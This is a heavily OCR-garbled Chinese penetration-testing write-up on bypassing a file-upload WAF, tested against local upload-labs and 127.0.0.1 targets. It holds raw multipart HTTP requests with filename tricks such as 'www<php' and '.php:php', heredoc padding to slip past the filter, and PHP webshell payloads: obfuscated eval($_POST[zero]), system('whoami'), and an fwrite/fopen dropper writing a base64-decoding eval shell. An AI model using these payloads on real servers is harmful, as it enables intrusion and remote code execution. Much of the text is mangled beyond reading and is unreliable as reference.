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POST /upload file.php HTTP/1.9

Host: | .

User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:93.0)
Gecko/20100101 Firefox/93.0

Accept:

text/htnl, application/xhtml+xnl, application/xnl:q=0.9, inage/avif
,image/webp, */*: q=0. 8

Accept-Language:

zh—CN, zh; g=0. 8, zh-TW; g=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en; g=0. 2
Content-Type: multipart/formn—data;

boundary= 2149019540132577893558596796
0
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text/htnl, application/xhtmnl+xnl, application/xmnl:qg=0.9, inage/avif
, image/webp, */*: g=0. 8

Accept-Language:

zh-CN, zh; g=0. 8, zh—-TW; g=0. 7, zh-HK ; g=0. 5, en-US; g=0. 3, en; g=0. 2
Content=Type: multipart/form—data:

boundary=== 21490195401325778935585967
960
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POST /Jupload_file. php HTIP/1.9 [_,\ HTTF/1. 1 200 OK

Host: Date: Fri, 29 Oct 2021 06:33:49 CNT

User—Agent: mozilla/5.0 (Windows NT 10.0; ¥in64; x64; rv:93.0) Server: Apache/2.4.39 (Vin64) OpenSSL/1.1.1b mod fcgid/Z. 3. 9a mod_log_rotate/1. 02
Gecko/20100101 Firefox/93.0 X-Powered-By: PHP/7.3. 4

Accept: Comnection: close

text/himl, application/zhtel+xml, application/xml; g=0. 9, inage/avif Content-Type: text/html; charset=UTF-8

, inage/webp, */+; q=0. 8 Content-Length: 90

Accept-Language:

zh—CH, zh; g=0. 8, zh-T¥; g=0. 7, zh-HK ; ¢=0. 5, enUS5; g=0. 3, en; g=0. 2 filename: <br:filetype: <br’size: 0 kB‘br'location: <br’success:
Conten];'h;n&rtltipzrt!for:—data; http://127. 0. 0. 1/uploads/

boundagy 21490195401 3257789355859679
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Content-Length: 745
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Comnection: close
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Uperade-Insecure-Requests: 1
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Accept-Encoding:

Accept—Encoding: gzip

Accept—Encoding: compress

Accept-Encoding: deflate
Accept—Encoding: br
Accept-Encoding: identity
Accept—-Encoding: *
IR
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POST /upload_file.php HTTP/1.1

Host: ° _|

User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:93.0) -
Gecko/20100101 Firefox/93.0

Accept:

text/htnl, application/xhtml+xnl, application/xml:g=0.9, inage/avif
,image/webp, */*: g=0. 8

Accept—-Language:

zh—CN, zh; g=0. 8, zh-TW; g=0. 7, zh—HK ; g=0. 5, en-US; g=0. 3, en; g=0. 2
Content-Type: multipart/form—data:

boundary= 21490195401 32577893558596796
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Lecept:

text/htnl, application/xhtnl+xnl, application/xml; q=0. 9, inage/avif
. inage/webp, /%, q=0.8

bccept-Language:

zh—CHN, zh;g=0. 8, zh-TW,g=0. 7, zh-HK, g=0. 5, en-US, g=0. 3, en; g=0. 2
Content-Type: nultipart/form—data;

boundary= 214901954013257 7893558596796
0

Accept—Encoding: =

Content-Length: 340

Jrigin: http://

Connection: close

Referer: http:/* !

Upgrade-Insecure nequests: 1

214901954013257789355685967960
Content-Disposition: form-data; name="file";

filenane=wws. php/. jpgl

Content-Type: image/jpeg

aaa

214901954013257 78935585967 960
Content-Disposition: form-data; name="submit”

Submit
A1 4BA1BRAA1 ANETTORDEROEAAT BAA—

)

Cornection: clese
Content-Type: text/htnl, charset=0TF-8
Content-Length: 141

filename: . jpg<br >filetype: image/jpeg(br size: 0.0029296875 kB br location:
C:\Windows\php8B4C. tap<br success: http://127.0.0. 1/upleads/. jpg

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100417-05558756-3ab8~-1.png)

ERERETER, &5

%

P =]

M=,

SRES, W, HET —

[EEIRSSZRNERRE. Jpg, IERFILERIXF

RIARBESAILL


https://xzfile.aliyuncs.com/media/upload/picture/20211101100353-f7035246-3ab7-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211101100417-05558756-3ab8-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211101100444-154a1adc-3ab8-1.png

User-Agent: Mozilla/5. 0 (¥Windows NT 10.0; Win64; x64; rv:93.0)
Geecko/20100101 Firefex/93.0

Accept:

text/hwnl, application/xhtnl+xnl, application/xml; g=0. 9, inage/avif
.image/webp, #/# 0=0. &

Accept-Language:

zh~Cl, zh; g=0. 8, zh~TW, q=0. 7, zh—HK ; ¢=0. 5, en-US; g=0. 3, en; o=0. 2
Content-Type: multipart/form—data;

boundary 21490195401 3257 7893558596796
0

Accept-Encoding: #

Content-Length: 339

Origin: http://

Comnection: close

Referer: http://®

Upgrade-Insecure-Kequests: 1

21490195401 325778935585967960
Content-Disposition: form-data; name="file",

filenane=www. php:php

Content-Type: image/jpeg

aaa

21490195401 325778935585967 960
Content-Disposition: form—data; name="subnit”

Server: Apache/Z. 4.39 (¥in64) OpenSSL/1.1.1b mod_fegid/Z. 3. 92 nod_log_rotate/
X-Powered-By: PHP/7.3.4

Comnection: close

Content—Type: text/hwml; charset=UTF-§

Content-Length: 155

filename: www.php:php<br-filetype: image/jpegbr size: 0.0029296875
kBbr-location: C:\Windows\php8256. tep<br success:
http://127. 0. 0. 1/upl oads /www. php :php
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POST /upload/Pass-01/index.php HITP/1.1

Host: 127.0.0.1

User—-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4;, x64; rv:93.0)
Gecko/20100101 Firefox/93.0

Accept:

text/html, application/xhtml+xml, application/xml;g=0. 9, image/avif, inage/webp

k% q=0. 8

Accept-Language:

zh-Cl, zh; q=0. 8, zh-TW; g=0. 7, zh~HK, ¢=0. 5, en-US; q=0. 3, en; g=0. 2
Content-Type: multipart/form—data;
boundary=

Content-Length: 352

Origin: http://127.0.0.1
Comnection: close

Referer: http://127.0.0.1/upload/Pass—01/index. php
Upgrade-Insecure-Requests: 1

Sec—FetchDest: document

Sec—Fetch-Mode: navigate

Sec—Fetch-Site: same—origin

Sec—Fetch-User: 71

17772368944110240797550833959

J»

Content-Disposition: form—data; name="upload_file”;|filename=www. txt<<:

1777236894411024079755832959
f
Content-Type: image/jpeg

Anfsannnann

17772368944110240797550835959
Content-Disposition: form-data; name="subnmit”

HEE

I EEE -

v

I 0 matches

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 06:59:11 GMNT

Server: Apache/2.4.23 (¥in32) OpenSSL/1.0.2j PHP/5. 4. 45
X-Povered-By: PHP/S. 4. 45

Content-Length: 4629

Comnection: close

Content-Type: text/htunl.charset=utf-g

chtal
¢head
<meta http-equiv="Content-Type”
content="text/htal ; charset=ut{-8"/>
<link rel="icon” type="image/x-icon”
href="/upload/ing/favicon. png” />
<titlerupload-labs</title>
</head>
<link rel="stylesheet” type="text/css” href="/upload/css/
<link rel="stylesheet” type="text/css” href="/upload/css/
<body
<div id="head”
a href="/upload/” »<img src="/upload/img/
div id="head_meru” >
<a id="handle_code”
href="javascript:shov_code () * > BRifH< fa>
<a href="javascript:get_prompt()”
{a
href="javascript:clean_upload_file() ">i& 5 L& X #F</a
fdiv>
<fdiv>

<div_id="main

BEEE"

Aiv_ids"mam”>

ch ter
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POST /upload/Pass-01/index. php HTTF/1.1

Host: 127.0.0.1

User—Agent: Mozilla/5. 0 (Windows NT 10.0; ¥Win64; x64; rv:93.0)
Gecko/20100101 Firefox/93.0

Accept:

text/htal, application/shtml+xnl, application/xnl; q=0. 9, inage/avif, inage/webp
JH Sk ge0.8

Accept-Language:

zh~CH, zh; q=0. B, zhTW, g=0. 7, zh-HE ; q=0. 5, en~US5,q=0. 3, en,; g=0. 2
Content-Type: multiparti/forn-data;

boundary 17772368944110240797550833959
Content-Length: 350

Origin: http://127.0.0.1

Comnection: clese

Referer: http://127.0.0.1/upload/Pass-01/index. php
Upgrade-Insecure-Requests: 1

Sec—Fetch-Dest: document

Sec—Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec—Fetch-User: 71

17772368944110240797550833959
Content-Disposition: form—data; name="upload_file”; filename=www. txt<<<<
Content-Tvpe: image/jpeg

5555555 1
17772368944110240797550833959
Content-Disposition: form—data; name="submit”
4
WL L |

@ EJ El B Type a search ferm 0 matche.s
Mann

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 07:01:10 GMT

Server: Apache/2.4.23 (¥in32) OpenSSL/1.0.2j PHP/S. 4. 45
K-Powered-Ey: PHP/5. 4. 45

Content-Length: 4630

Connection: close

Content-Type: text/htnl;charset=utf-8

<htnl>
<head>
<meta http-equiv="Content-Type”
content="text/htul ; charset=utf-8"/>
<link rel="icon” type="image/x-icon”
href="/upload/ing/favicon. png” />
<title*upload-labs</title>
</head>
<link rel="stylesheet” type="text/css” href="/upload/css/index. css”>
<link rel="stylesheet” type="text/css” href="/upload/ecss/prism.css”>
<bedy>
<div id="head”>
<a href="/upload/" ><ing sre="/upload/ing/loge.png”/></
<div id="head_neru">
<a id="handle_code”
href="javascript:show_code () "> B IS fa>
<a href="javascript:get_proapt () "> FIEFR/a:

ca
href="javascript:clean_upload_file () " &% Lk X #F</a>
<fdiv>
<Jdiv>

cAdiv id="main” v div id="marm ™

i ? < + > i | Type a search term

4 BAG hate

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100612-49667f86-3ab8-1.png)
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_www.txt - IBEA
() FiE(E) BN(Q) EE(V) FEEIH)
5555555

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100617-4cdch74e—3ab8-1.png)

BREMEBMMET XHANEE, www.php =HZE, MTESXERXHET, BIFBATIHENR, —UEREE, &NX
HEREEERT, BRUAMENT2, R4S SRR ENLHE?
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POST /upload file.php HITP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; rv:93.0)
Gecke/20100101 Firefex/93.0

Accept:

text/htnl, application/xhtal+xml, application/xnl;q=0. 9, inage/avif
, inage/webp, ¥/#;g=0. 8

Accept-Language:

zh-CN, zh; g=0. &, zh~T¥,; g=0. 7, zh-HK; ¢=0. 5, en-U5; g=0. 3, en; q=0. 2
Content-Type: multipart/forn-data;
boundary

0

Accept-Encoding: #
Content-Length: 341

Origin: http:
Connection: clese
Referer: http:/
Upgrade-Insecure .

2149019540132577893558596796

B

21490195401 32577893558596 7960
Content-Disposition: form-data; name="file”; filename=vew<php
L8444

Content-Type: inmage/jpeg

aaa

21490195401325778933585967960
Content-Disposition: form-data; name="submit”

Submit
21 4611 F4N1 IORTTRAIFSRRAATORN—

¥

HITP/1.1 200 OK

Date: Fri, 29 Oct 2021 07:04:13 GNT

Server: Apache/2. 4.39 (Win64) OpenSSL/1.1.1b mod_fegid/Z2. 3. %a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4

Comnection: close

Content-Type: text/htnl; charset=UTF-8

Content-Length: 154

filename: wwwiphp<<<<br:filetype: image/jpeg<br size: 0. 0029296875
kB<br-lecation: C:\Windows\phpD06. tmp<br success:
http://127. 0. 0. 1/uploads /www<php<<<<

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100651-6090b4 26 -3ab8~1.png)
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< C A FZLe| v ' //uploads/www.php

ddd

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100703-67d061e4-3ab8~1.png)
BEARABEE XM T, AFAKU MBI ERE T, =BEEZ T 2NN FiE

Bt AN R EREN S — IR, E—— T ER, ZRRINSEAeEET (X2, EEEH) |
FARTAN DA I AH R ETNAR/THN GTAST S 2 27 S0 iana
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SAWAAY T T L AT LA T AN AZ T H D T HUDAAIYUALZ LA 7T HUHH HE o

7& webshell —

(7=
$a =<<< aa

ASSAaASSSaAS S SasSsSsasSsSSasSsSsasSsSsasssasssasssasssasssse
:Sélftlzf*!(f*lzf#fs_Posrftlzf*f[zeru]).” frsal 1111%/" /*%1219%f//
S uuST L SRS iy

?7>{?{1=-- asasas as asasa sas a——>7><{!-- asasas as asasa sas a-—>

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100720-71e14248-3ab8-1.png)
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AS5A555ASSSASSSASSSASISASSSASSSASSSASSSASSSASSSS
Notice: Use of undefined constant zero - assumed 'zero' in F:\phpStudy\PHP TutorialWWW\1.php on line 6

ice: defined constant whoami - assumed ‘whoami' in F:\phpStudy\PHP TutoriallWWW\1.php(6) : eval()'d code on line 1
index\index 7>

e O aas &g DiFEidteE NmaE (damee Que O B &t £esHE @ HackBar 38 WiMEF

Encryption + Encoding~ SQL~ XSS~ Other »

@ load URL | http://127.0.0.1/1.php
% split URL

» | Execute

Post data [] Referer [ User Agent [] Cookies Clear All

zero=system(whoami);

(https:/ /xzfile.aliyuncs.com/media/upload/picture/20211101100755-87108fde—3ab8—1.png)

BREBNZEMRIAE, AF <php MEMELHSREENIAE, ANNESELEH, S22
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https://xzfile.aliyuncs.com/media/upload/picture/20211101100755-87108fde-3ab8-1.png

N

37rD_2132_lastact=1634111736%09plugin. php%09

Pragma: no—cache

Cache-Centrel: no-cache

Sec—Ch-Ua: "Chromium”;v="94", "Google Chrome”;v="94", ";Not A Brand”;v="99"
Sec—Ch-Ua-Mobile: 70

Sec—Ch-Ua-Flatforn: "Vindows”

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64. x64) AppleWebKit/537.38
(EHTML, like Gecko) Chrome/94.0.4606.71 Safari/537. 36

Accept:

text/htnl, application/zhtnl+xml, application/xnl: q=0. 9, inage/avif, inage/vebp &
,image/apng, #/#: ¢=0. 8, application/signed-exchange v=b3:q=0.9

Sec—Fetch-Site: same-origin

Sec—Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Accept-FEncoding: gzip, deflate

Accept-Language: zh-CN, zh,q=0.9

Connection: close

Content-Type: nultipart/form-data;

boundary=——--FebKi tFornBoundaryalpG{k{c8pCGSV4C

Content—Length: 160

>

—————— ¥ebKitFornBoundaryal pGfkfc8plGSV4C
Content-Disposition: form—data; name="id";filename="1. txt”

<php a() ;>
—————— WebKi tFormBoundaryal pGfkfc8pCGSV4C—

4

v

uj lij uJ LLJ Type a search term 0 matches U u ._J u e a search femm

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100827-9a4e23fe—-3ab8-1.png)
FIAT BT LEHITFEND

NEFIBEEXTEM EATEN, FRIEFEREXTERE, BREEZELET, MTAT, 2—HFE, BEX

PEHFXNER waf ZE T, BEAE, K2R php RERE T, SEAERERET, Mea—EFEHRE,

BaZ R, X TRSEE LDAAERES, BEARMSERIE, BIRERME pho M,

BRtTLr=WEE0e, fuzz 7


https://xzfile.aliyuncs.com/media/upload/picture/20211101100827-9a4e23fe-3ab8-1.png

WAREBEATAZERF, REBHE—TIRERIE,

POST /upload_file.php HITP/1.1

Host:

User—dAgent. mee--.a/5.0 (Vindows NT 10.0; Winf4; x64; rv:93.0)
Gecko/20100101 Firefox/93.0

Accept:

text/htnl, application/zhtal+xnl, application/xul;q=0. 9, inage/avif
, image/webp, #/%; g=0.8

Accept-Language:

zh-CH, zh; g=0. 8, zh-T¥; g=0. 7, zh-HE; g=0. 5, en-U5. q=0. 3, en,; g=0. 2
Content-Type: multipart/forn—data;

boundary
v}

2149019540132577893558596796

Accept—Encoding: *
Content-Length: 412

Origin: httr

Commection: crose

Referer: h

Upgrade—Inse ... woquests: 1

214901954013257T8935585967960
Content-Disposition: forn-data; name="file”; filename=www<php

Content-Type: image/ipeg

7=

$a =<<< aa

as55a555a555a5552. 5585552 5585555
aa; 7T

21490195401325778935585967960

Centent=Ni snnsition: forn-data: name="submit”

HTIP/1.1 200 CK

Date: Fri, 29 Oct 2021 07:1B8:05 GNT

Server: Apache/2.4.39 (Vin64) OpenSSL/1.1.1b mod_fcgid/2. 3. % mod_log_rotate/l
X-Powered-By: PHP/7.3. 4

Commection: close

Content-Type: text/htal; charset=UTF-8

Content-Length: 154

filename: wwwiphp br>filetype: image/jpegcbrosize: 0.072265625
kE<br-location: C:\Windows\phpBEDG. tmp<br success:
http://127. 0. 0. 1/uploads fwwwphp< <«

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100858-acbeObda—3ab8—1.png)

< C A F7%&%| W //uploads/www.php

dS5a555a555ad555a555a555a555a555a555a555as555asSsSss
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(https://xzfile.aliyuncs.com/media/upload/picture/20211101100909-b33ab3dc—-3ab8-1.png)
D AEINE:
X ® 1 w7 //uploads/www.php

Y mg@izsE G Google B G

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100925-bc81b59e-3ab8-1.png)
EERRENM MRS AGEERE, BRARREN, XEER waf #iI AR

FEPENTIE, BRI —TRmBRSE EAMUFALIELT, —F—FFKE, STEEERERTHS

CTF


https://xzfile.aliyuncs.com/media/upload/picture/20211101100909-b33ab3dc-3ab8-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211101100925-bc81b59e-3ab8-1.png

ZBIAY, MUZA RIS S HINEY, PrLAE phpinfo #BHATA 1

= - - —=21490195401325778935585967960
Content-Disposition: form—data; name="{file”; filename=www<php

s

Content-Tvpe: image/jpeg

7=

$a =« aa
A55ASE5A5EEA555AS55aA555aA555a555a555a4555a555a5858558
aa,

phpinfe(): ?

21490195401 3257T8935585967960

Memtent=T erasitione Farm—data- namaz="cnbnit”

L?J L= 2] 2] | Type @ search term 0 matches

L

(https://xzfile.aliyuncs.com/media/upload/picture/20211101100950-cb89c2a2-3ab8-1.png)
BHIATA TI5?

$a =<<< aa
a4SSASSSASSSASSSASSSASSSASSSASSSASSSASSSASSSASSSS
aa;

A EFIEE php I—M5ME, BT RRFRFENEE RS SXENSISXMEIRIER, aa BINRENX, BT AHA
DA, TERL php lRAH, KEN aa FAEEIMEMIES, SNEREE.


https://xzfile.aliyuncs.com/media/upload/picture/20211101100950-cb89c2a2-3ab8-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211101101029-e28047c4-3ab8-1.png

<?=

$a =<<< aa
as55a555a555a555a555a555a555a555a555a555a555a5555
aa;phpinfo() 75|

€« C  ©® 127.00.1/1.php

Parse error: syntax error, unexpected end of file, expecting variable (T_VARIABLE) or heredoc end (T_END_HEREDOC) or ${
(T_DOLLAR_OPEN_CURLY_BRACES) or {$ (T_CURLY_OPEN) in F:\phpStudy\PHPTutoria\WWW\1.php on line 5

(https://xzfile.aliyuncs.com/media/upload/picture/20211101101029-e28047¢c4—-3ab8-1.png)

RA=MREE, P waf R=iZ8EL, PIATE aa; [EE A LARIN php fCRYET

Accept: Connection: clese

text/htnl, application/zhtel+xml, application/znl;q=0. 9, inage/avif Content-Type: text/hial; charset=UTF-8

, image/webp, */+;g=0. 8 Content-Length: 153

Accept-Language:

zh—-CH, zh; g=0. 8§, zh-T¥,; g=0. 7, zh-HK, g=0. 5, en-US; g=0. 3, en; g=0. 2 filename: wwwiphp brrfiletype: image/jpeg<br size: 0.08203125
Content-Type: multipart/forn—data; kB<br->location: C:\Windows\phpBBA7. tap<br success:

boundary 214901954013257 7893556596796 http://127. 0. 0. 1/uploads /wwwphp

0

Accept-Encoding: #
Content-Lensth: *°

Origin: h

Cormection: clas

Referer: http
Upgrade-Insecure-Requests: 1

21490195401325778935585967960


https://xzfile.aliyuncs.com/media/upload/picture/20211101101029-e28047c4-3ab8-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211101101051-eff769fa-3ab8-1.png

Content-Type: image/jpee|

(7=

$a =< aa

As55a555a555a555a5554as asss 5as.
aa;phpinfo() ;7

Content-Niennsition: form—data: name="sibmit”

Content-Disposition: form—data; name="file | filename=wwwiphp
e

21490195401325778935585967960

v

F' |T] JT| [T| Type & search term

0 malches- i?| [T| |T\| jT‘ |TyDE a search term

(https://xzfile.aliyuncs.com/media/upload/picture/20211101101051-eff 76 9fa—3ab8—1.png)

HFISARIG, XRS5 P AT

Cc (a 7%2 |

/fuploads/www.php

»d555455545554555455545558555d4555455545555

System Windows NT DESKTOP-BU4UCQCA 10.0 build 18363 (Windows 10) AMD64

Build Date Apr 2 2019 21:50:57

Compiler MSVIC15 (Visual C++ 2017)

Architecture w64

Configure Command cscript /nologo configure js - -enable-snapshot-build”™ °-enable debug- pack” *--disable zts® *-
pdo-odi=c\php-snap-build\deps aux\oracle'vdinstantclient 12 Tsdk shared” *--wilh-odi-1:2
snap- build\deps _aux\oracle\xef\instantclient_12_1\sdk,shared” *--enable- object out dir=../obij/
enable-com-dotnet -shared” *--without-analyzer® *--with-pgo®

Server API CGl/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path C\Windows

Loaded Configuration File EAphpstudy pro\Extensions\phph\php/.3.4nts\php.ini

Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP API 20180731



https://xzfile.aliyuncs.com/media/upload/picture/20211101101051-eff769fa-3ab8-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211101101110-fb1c64a2-3ab8-1.png

PHP Extension 20180731

(https://xzfile.aliyuncs.com/media/upload/picture/20211101101110-fb1c64a2-3ab8-1.png)
BESABEHTT phpinfo, BB system() B EHIT

User-4gent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Server: Apache/Z. 4.39 (¥in64) OpenS5L/1.1.1b mod_fcgid/Z. 3.9a mod_log_rotate/1.02
Gecko/20100101 Firefox/93.0 J-Povered-By: PHP/T.3. 4

Accept: Comnection: close

text/htnl, application/xhtnl+xul, application/xnl; g=0. 9, inage/avif Content-Type: text/htal; charset=UTF-8

, inage/webp, */#;q=0. 8 Content-Length: 155

Accept-Language:

zh—CHN, zh; g=0. 8, zh-TW;g=0. 7, zh-HK ; g=0. 5, en-US; ¢=0. 3, en; g=0. 2 filename: wwwiphp br:filetype: image/jpegibr size: 0. 0869140625
Content-Type: multipart/form—data; kB:<brrlecation: C:\Windows\php491D. tap<br success:

boundary= 2149019540132377893538596796 http://127. 0. 0. 1/uploads /www php«

0

Accept-Encoding: *
Content-Length: 427

Origin: http:/

Connection: close

Referer: http://
Upgrade-Insecure—Requests: 1

214901954013235778935585967960
Content-Disposition: forn-data, name="file", filename=www<php

Content-Type: image/jpeg

$a = aa
AS5ASSSASSSAS55AS55ASSSASS5ASS5A555AS55a555a5555
aa,systenm (vhoani) ; ?

21490195401325776935585967960

Coamtent-Nienasition: farn—data: name="=cihai+”

v

(https://xzfile.aliyuncs.com/media/upload/picture/20211101101136-0ada99fe—~3ab9-1.png)
EEE NIRRT

-
X A AEZe
(https://xzfile.aliyuncs.com/media/upload/picture/20211101101148-11ba4 3c8—3ab9—
1.png)
XEN—M, BN system FAIUBWNS | SR MR, BAWsISHME—/REEM Is - XME=I8NIER, B2
whoami XMHEAEES|I =S8, BBXEH—BEEBEERZIEEER, BBRMLEMET .


https://xzfile.aliyuncs.com/media/upload/picture/20211101101110-fb1c64a2-3ab8-1.png
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User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0)
Gecke/20100101 Firefox/93.0

Accept:

text/htal, application/xhtnl+xul, application/xnl;g=0. 9, inage/avif
,image/webp, #/#,;q=0.8

Accept-Language:

zh—CN, zh; q=0. 8, zh-T¥; ¢=0. 7, zh-HK; q=0. 5, en-US; g=0. 3, en; q=0. 2
Content-Type: multipart/forn—data;

boundary 2149019540132577893558596796
0

Accept-Encoding: *

Content-Length: 429

Origin: htw://

Comnection: close

Referer: http:/

Upgrade-Insecure-Requests: 1

21490195401325778935585967960
Content-Disposition: form—data; name="file”; filename=www<php

Content-Type: image/jpeg

9=

$a =< aa
ASSASSSASS5ASESASS5ASESASSSASSSASSSASS5ASSSASSSS
aa;systen("whoani”) ;7>

21490195401325778935585967960

Momtent=Nienneition: farm—data - nanas"=nheit”

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fegid/2.3.%a mnod_log_rotate/l
X-Powered-By: PHP/7.3.4

Connection: close

Content-Type: text/htnl; charset=UTF-8

Content-Length: 155

filename: wwwiphp << <br filetype: image/jpeg'br size: 0.0888671875
kB‘br>lacation: C:\Windows\php64EA. tmp br success:
http://127. 0. 0. 1/upl cads /www php<<<<

(https://xzfile.aliyuncs.com/media/upload/picture/20211101101207-1cfd91ae—3ab9-1.png)

W

C A &2

‘Juploads/www.php

asssasssasssasssasssasssasssasssasssasssassssdesl’ . © 7 .qga\admin
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(https://xzfile.aliyuncs.com/media/upload/picture/20211101101233-2c9e7¢c40-3ab9-1.png)
BRI

ﬁ%ﬂﬁ&@@T,%ﬁE—@E,
ANERI=E

E-L_tjju/\ \§;E¥

Accept-Encoding: * filename: wwwiphp << <br>filetvpe: image/jpegibr’size: 0.1865234375
Content-Length: 529 kB br-location: C:\Windows\phpEBELS5. tap-br success:

Origin: http://* _, http://127. 0. 0. 1/uploads /wwwiphp<<<<

Connection: close

Referer: http:/ .. __.
Upgrade-Insecure-Requests: 1

21490195401325778935585967960
Content—Dlspogltlon forn-data; name="file"; filename=www<php

Co111.ent Type: image/jpeg

9=

Fa = aa

AS5A555A555A555A555a555A555a555a555a555a555a55558

aa; /#121j]jk jhs+/eval /4121 ik jhs+/ (/#121]]jk jhs+/$_POST/#121jj]
lejhs*/ [zero/+121jj jkjhs*/1) /#121 3] 3kjhs+/; /#1213 jk jhs+/?
21490195401325778935585967960
Content—Disposition: form—data; name="submit”

Subnit
714401 GR4N1 3757 TRAARARSAATAAN== L4

(https://xzfile.aliyuncs.com/media/upload/picture/20211101102149-784e3f4e—3aba-1.png)
Zfd AT, ThlE—F

X A FXZ2| 1 # /uploads/www.php
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(https://xzfile.aliyuncs.com/media/upload/picture/20211101102209-84354abe—3aba-1.png)
NEFEKT

Al 7T —TF, &I eval XOJNEEFE aa; EE, X RIBEHEIR

BEARUNLE, FBFLRBEMAFE T, HHE fopen &, BZEBY php MIAXHERSIZEM U, KSR
e

B xt K, PIBFRERUTHN ST EEREEDIT,

text/htal, application/shtnl+xal, application/xml; q=0. 9, inage/avif Content-Type: text/html; charset=UTF-8

, inage/webp, */+;g=0. 8 Content-Length: 155

Accept-Language:

zh—CN, zh; g=0. 8, zh-TW; g=0. 7, zh—HK; g=0. 5, en-U5S; g=0. 3, en; g=0. 2 filename: wwwiphp br:filetype: image/jpegibrisize: 0.1533203125
Content-Type: multipart/forn-data; kB<br>leocation: C:\Windows\php9618. tap<br success:

boundar 214901954013257 7893558596796 http://127. 0. 0. 1 /uploads /www<php<<-

0

Accept-Encoding: *
Content-Lengt' - 495

Origin: http:.

Comnection: close

Referer: htt
Upgrade-Insecw e neguests: 1

21490195401 32577893558596 7960
Content-Disposition: form-data; name="file”; filename=www<php

Content-Type: image/jpeg

3a = aa
assasssasssasssasssasss5assSasssasssasssasssassss
aa:frritefvlZlaaw"-l.-’wl:laawffopen.-"wl laa*." oool. txt”,
"%7) f%121aa%/,  aaa’) f¥l2laak/ c

li';] o+ lLI P B IR o | 0 matches _?Jl;';l L2

Done 399 byte

(https://xzfile.aliyuncs.com/media/upload/picture/20211101102234-92d57526-3aba-1.png)
THE)—~ www.php
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text/htnl, application/shtal+xml, application/xnl; ¢=0. 9, inage/avif |
, image/webp, */*; g=0. 8 ™
Accept-Language:

zh—CH, zh; g=0. 8, zh-TW,; g=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en; g=0. 2
Content-Type: multipart/forn-data;

beundary= 21490195401 32577893558596796
0

Accept-Encoding: #

Content-Length: 609

Origin: http://"

Connection: close

Referer: http:// uid

Uperade-Insecure-Requests: 1

21490195401325778935585967960
Content-Disposition: form-data; name="file": filename=wwv php

Content-Type: inage/jpeg

{t=
$a =<<< aa

as a sasssa a A5554as5s A555a5555 )
aa; fwrite/+*121aa*/ (/+121aa*/fopen/+*121aa*/ (" oo, php”,

“w') f4121aa%/, " <7php

f#121aa*/ eval [#121aa+/ (/+121aak/$_POST/#121aa+/ [ /+121aa%/ zero"/
#121aak/]/%121aa+/) /+121aak/; /+121ae+/] /#121aak/) /+121aa%/

7> .
1 4001 8540 75T TRARRRAROATAAN L

[iJ u [;J m Type a search term 1] mﬂcha:

Server: Apache/2.4.39 (¥in64) OpenSSL/1.1.1b mod_fegid/2. 3. 9a nod_log_rotate/l.
X-Powered-By: PHP/7.3.4

Connection: close

Content-Type: text/htmnl; charset=UTF-8

Content-Length: 155

filename: wwwiphp < ‘br:filetype: image/jpegibrisize: 0.2646484375
kB/br-lecation: C:\Windows\php224E. tmp br success:
http://127.0.0. 1 /uploads /www php< <

m uj u [LJ Type a search term
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Content-Length: A3T Connection: close

Origin: http:’ 1 Content-Type: text/htnl; charset=UTF-8

Connection: c. Content-Length: 150

Referer: htu - ! ~

Upgrade-Insecure .. . ... I filename: 1<php<<<<<br filetype: image/jpgcbr size: 0.2939453125

b kB<br:location: C:\Windows\phpD40C. tmp<br success:
35803941 3889972981 24058721635 http://127. 0. 0. 1 /uploads/1<php<<<<

Content-Disposition: form-data; name=="file”; filename=1<php

[

Content-Type: inage/jpe i

<%qiu fang guo%>

(%=

$a=<<< aa

255a5552555a5554555A555555a555a555as ssas

aa; fwrite(fopen( ppp6. php”, "a”), '<7php

J#asasl1l#/eval fkasaslll+/(/#asaslll+/baseb4_decode/kasaslll+/ (b
asef4_decode/#asasl1l#/(basebd decode/#asas11l#/($_POST/#asasill
#/["zexo™]))) [+asas1l1+/) /+asasllle/;")

L))

35803941 3889972981 24058721635 /
Content-Disposition: form-data, name="subnit” I
L
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URL: = http i/uploads/qqq1.php EiEE

AES | SOHIT BRI XHETR ARSI Sishel MEENTE SEVRE ¥52H yEDE SS8 BHES

System Windows NT DESKTOP-BU4UQQA 10.0 build 18363 (Windows 10) AMD64

Build Date Apr 2 2019 21:50:57

Compiler MSVC15 (Visual C++ 2017)

Architecture x64

Configure Command cscript inologo configure js “~-enable-snapshot-build” *--enable-debug-pack” “—disable-zts" "~with-pdo-oci=c:\php-
snap-buildideps_auxioracle\x64\instantclient_12_1\sdk shared" *-with-ocig-12c=c-
build\deps_aux\oracle\x64\instantclient_12_1\sdk shared" "--enable-object-out-dir=../obj/" "--enable-com-
dotnet=shared" "without-analyzer" "—with-pgo"

Server API CGIFastCGI

Virtual Directory Support disabled

